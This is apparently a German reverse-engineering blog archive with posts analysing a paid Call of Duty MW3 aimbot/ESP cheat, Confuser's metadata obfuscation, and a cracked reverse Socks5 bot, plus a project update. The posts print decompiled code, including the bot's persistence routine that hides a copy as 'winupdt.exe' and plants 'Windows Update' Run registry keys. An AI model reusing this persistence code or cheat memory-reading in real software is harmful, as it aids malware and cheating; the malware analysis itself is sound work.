Archive for Jul. 2012

External MW3 Hack unter der Lupe

Der Secunet-User sup3ria war so freundlich mir diesen Hack für eine Analyse zukommen zu lassen. sup3ria hatte den Bot cracked, danke auch dafür :) Dieser Hack wurde für 10€ verkauft, ob ein ESP und ein Aimbot diesen Preis gerechtfertigen…

Trotzdem ist es schön ein .NET-Hack zu analysieren, allein aus der Tatsache dass es ein reiner .NET Hack ohne C++/CLR ist.

Nach dem HWID-Check wird ein einem neuen Thread das Overlay initialisiert. Das ist einfach nur eine transparente Form mit einem Control, das ESP Control. Dieses Control überschreibt OnPaint und ruft dabei die Draw-Funktion auf:

// mw3_by_stefsot.ESP
protected override void OnPaint(PaintEventArgs e)
{
	this.draw(e.Graphics);
	base.OnPaint(e);
}

Die ESP Draw-Loop sieht dabei schon interessanter aus. Nach ein paar Checks werden alle Spieler durchgegangen und dabei je nach Position, Team und weiteres eine Box gezeichnet. Source gibt es hier keinen zu sehen, da alle Variablen unleserlich sind und sich vieles wiederholt. Interessant sind allerdings diese Zeilen:

if ((Class0.struct1_0 - Class0.class1_0[i].struct1_0).method_0() / 48f < 12f & Class0.class1_0[i].color_0 == Color.Red & Class0.bool_2 & Class0.smethod_2(Class0.class1_0[i].struct1_0.float_2, 70) & Class0.class1_0[i].bool_0)
{
   int num2 = (int)Math.Round((double)(gr.MeasureString("AN ENEMY IS NEAR YOU!", new Font("Arial", 25f, FontStyle.Bold)).Width / 2f));
    gr.DrawString("AN ENEMY IS NEAR YOU!", new Font("Arial", 25f, FontStyle.Bold), Brushes.Cyan, (float)((double)this.Width / 2.0 - (double)num2), (float)((double)this.Height / 2.0 + (double)Class0.float_1));
   }

Wenn der Abstand von PlayerVector (Class0.Struct1_0) zum Vector des aktuellen Gegners (class1_0[i].Struct1_0) kleiner als 12 ist, so wird eine Warnmeldung ausgegeben. Nette Idee :)

Der Source des Aimbots sieht wie ein Schlachfeld aus, ich habe wirkliche Probleme daraus Informationen zu ziehen :D Soweit ich das sehe wird aus der Screen-Position ein Offset errechnet und dann der Mauscursor um diesen Offset verschoben. Und wer mir nicht glaubt dass der Source so schrecklich ist sollte sich mal das geben, so geht das geschätzte 200 Zeilen lang!

Class0.Class2 class2_ = new Class0.Class2((double)(location.X + Class0.int_0[0]), (double)unchecked((float)checked(form_0.Location.Y + Class0.int_0[1]) + Class0.float_1));
						Class0.Class2 class2_2 = unchecked(new Class0.Class2(Class0.class1_0[Class3.int_0].class2_1.double_0 - Class0.class1_0[Class3.int_0].class2_2.double_0 / 2.0, Class0.class1_0[Class3.int_0].class2_1.double_1 + (double)Class0.float_1 - Class0.class1_0[Class3.int_0].class2_2.double_1));
						Class0.Class2 class2_3 = new Class0.Class2(Class0.class1_0[Class3.int_0].class2_2.double_0, Class0.class1_0[Class3.int_0].class2_2.double_1);
						if (!Class3.smethod_2(class2_, class2_2, class2_3))
						{
							location = new Point((int)Math.Round((double)unchecked((float)point.X * Class0.float_2 + (float)Class3.point_0.X * Class0.float_3)), (int)Math.Round((double)unchecked((float)point.Y * Class0.float_2 + (float)Class3.point_0.Y * Class0.float_3)));
							Class3.smethod_1(location, form_0);
						}

Weitere Kritikpunkte an dem Bot:

  • Jede Variable wird einzeln per ReadProcessMemory aus dem Speicher gelesen, da sind ca. 1000 RPM Aufrufe pro Durchgang. Warum nicht einfach eine Struktur auslesen und über Marshal.PtrToStructure das ganze gescheit casten? Die Strukturen sind übrigens auch ein Chaos.
  • Es werden 2 Threads mit je einem Sleep von 13 Millisekunden gestartet. Das reicht nicht für einen effektiven ESP/Aimbot gegen andere Cheater, was immer meine Intention war. Injecten und Hooken ist das einzig wahre, so sehr ich externe Hacks auch respektiere.
  • Der “Lag-Fix” ist einfach nur ein Aufruf von GC.Collect. Dabei räumt der GarbageCollector alle nicht gebrauchten Objekte auf. Da diese aber sofort wirder befüllt werden ist der Sinn null. Hört sich halt cool an, ein “LagFix”.
  • Das ProcessHandle wird über GetWindowA und GetWindowThreadProcessId abgerufen. Schonmal was von der System.Diagnostics.Process Klasse gehört?
  • Bei diesem Code denke ich nur: “DAFUG?”. ReadInt mit einer Angabe der Bytes die gelesen werden sollen?
public static object readInt(int address, int bytes)
{
	long num = 0L;
	int arg_1A_0 = (int)Memory.pHandle;
	int num2 = 0;
	Memory.ReadProcessMemory_1(arg_1A_0, address, ref num, bytes, ref num2);
	return num;
}

Soweit zu dieser Analyse. Als Fazit ist zu sagen: Guter Versuch, kopierte Memory-Klasse und keine Ahnung vom Speicher. Der Code ist grausam, nicht nur durch den Deobfuscator. Warum wird sowas für GELD verkauft?

Greez

10 people like this post.

Confuser Metadata-Confusion explained

Dieser Artikel wurde auf Englisch geschrieben da dieses Writeup auch an nicht deutschsprachige Reverser gerichtet ist.

Der Artikel beschreibt die Vorgehensweise des Confusers beim Anwenden der sog. Metadata-Confusion. Diese Confusion schafft es die Assembly weiterhin lauffähig zu halten, allerdings die Metadata so zu manipulieren dass jegliche Decompiler und sogar Mono.Cecil versagen die Datei zu lesen.

Dieses Writeup ist nur mit dem Source des Confusers nachzuvollziehen und ist an Experten gerichtet, solltet ihr dennoch Interesse am Verstehen des Artikels haben so lest euch zunächst den Artikel zum .NET Fileformat durch.

Introduction:
I’ll try to give sense to the quite confusing source of the InvaildMetadata-Confusion and point out how the confusion works.

Confuser makes use of the Mono.Cecil.Metadata-namespace to edit/add the .NET metadata tables in the #~ stream. Many aspects of this MD-confusion is based on replacing, adding and randomizing table-entries.
All the metadata tables with detailed information can be found in this great article, this is really helpfull to get the nessessary information and to eventually write a deobfuscator!

Phase 1:
In the beginning this phase adds a invaild DeclSecurity to the DeclSecurityTable. The Flags (2 bytes), the index to a Type/Method/Assembly (4 bytes) and the PermissionSet (4 bytes) are set to 0xffffffff, therefore no index can be found.

Next random characters are added to the #String-stream, 0×10000 in total.
If no reflection is used in the assembly a new row in the ManifestResourceTable is added:
The Offset to the ressource points to -1 (0xffffffff), the ressource is set to private (0×02) and the ressource name points to the generated random stuff in the #String-stream.

This is basicly what the first phase does, this probably wouldn’t mess up the file although the ressource is quite a nesty thing…

Weiterlesen

3 people like this post.

Easy Socks Bot - Leaked and Cracked

Nachdem Confuser 1.7.0.0 nun endgültig entpackt wurde konnte ich mich der eigentlichen Malware die es zu reversen galt widmen. Die Malware war, wie schon von Anfang an klar, ein Reverse Socks5 Bot. Anders als beim “N0ise-Bot” konnte ich den Source leserlich wiederherstellen, die Typen und Methoden umbenennen und sogar eine weiterhin ausführbare Exe erstellen. Allerdings wird diese nicht mitgeliefert, da es hier nur um die Technik geht. Wenn ihr also euern eigenen Socks5 Bot zusammenklicken wollt, so seid ihr hier falsch :)

Der Source des Bots ist, im Gegensatz zum Zemra-Bot, sehr klein. Eine Main-Klasse mit “nur” 13 Methoden stellt das Herz des Bots dar, gehen wir doch Schritt für Schritt durch die komplexeste aller Funktionen, die Main-Funktion.

Zunächst wird, vor dem eigentlichen Starten, ein Mutex mit dem Namen “uoxopAzgrzaWsQaS” erzeugt. Sollte das Mutex bereits aktiv sein wird der neu gestartete Prozess beendet. Die nächste Funktion “installert” den Bot, dabei nistet er sich in folgenden Pfaden und Registryeinträgen ein:

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\winupdt.exe"; 
File.Copy(Assembly.GetEntryAssembly().Location, text, true); 
File.SetAttributes(text, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System); 
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Windows Update", text); 
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true).SetValue("Hidden", 2);
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Windows Update", text);

Weiterlesen

5 people like this post.

Ein paar Updates

Da sich lange nichts mehr getan hat hier eine kleine Übersicht über anstehende Projekte und deren Status:

  • Durch mehr oder weniger Zufall bin ich in Kontakt mit einem anderen Coder und Reverser gekommen, welcher ebenfalls an einem Confuser Deobfuscator schreibt. Da wir uns beide nur ergänzen können wurde ich nun in das Projekt aufgenommen. Das Projekt und findet ihr unter dem Namen Enlightener.
  • Der Leak des Zemra-Bots hat große Wellen geschlagen, offensichtlich hatten die AV-Firmen zum Teil großes Interesse an der “leaked Version”. So wurde die Variablenbenennung von mir in dem offiziellen Security Alert von Symatec übernommen, der Blogartikel war in diversen Beschreibungen des Zemra-Bots verlinkt.
  • Es ist soweit. Der Easy Reverse Bot, die durch den Confuser geschützte Malware, ist unpacked und sogar lauffähig. Ein Writeup ist bereits vorhanden, allerdings muss das ganze nochmal überarbeitet werden. Sollte also in den nächsten 2-3 Tagen erscheinen :)
  • ProjectNS, durch Zufall auf dem Coderz-IRC, hat mir ein genialen Header zusammengebastelt, danke nochmal dafür :)

Soweit für den Abend :)

Easy

 

8 people like this post.